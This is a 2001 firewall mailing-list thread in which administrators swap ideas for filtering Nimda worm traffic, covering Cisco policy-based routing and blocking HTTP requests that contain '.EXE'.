[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index] RE: [FW1] New worm on the road?
I know that this fix isn't done on the firewalls, (and I don't' normally advocate routers pretending to be firewalls...) but Cisco IOS 12.1(5)T can do policy based routing that can help.... For those with Cisco routers, you can go to http://www.cisco.com/warp/public/63/nimda.shtml HTH Steve Schuster Midwest ISO Security Analyst -----Original Message----- From: Joe Pampel [mailto:[email protected]] Sent: Thursday, September 20, 2001 12:44 PM To: [email protected]; [email protected] Subject: Re: [FW1] New worm on the road? That's the NIMBA worm.. I've been trying various resource filters but no luck yet. Had well over 3 million log entries so far *today*.. an avg month for us is ~30,000. (I'm stopping it with a more blunt filter for now..) If I get a good rule working I'll post it up, and hope others will do the same.

Now my FW1 question: can I create a HTTP resource (secure server) that blocks all requests that e.g. have a .EXE in it ? Or would that slow my FW1's down to much? Any other suggestions for good products that can do HTTP content inspection and that cooperate or can co-exist with fw1 ?
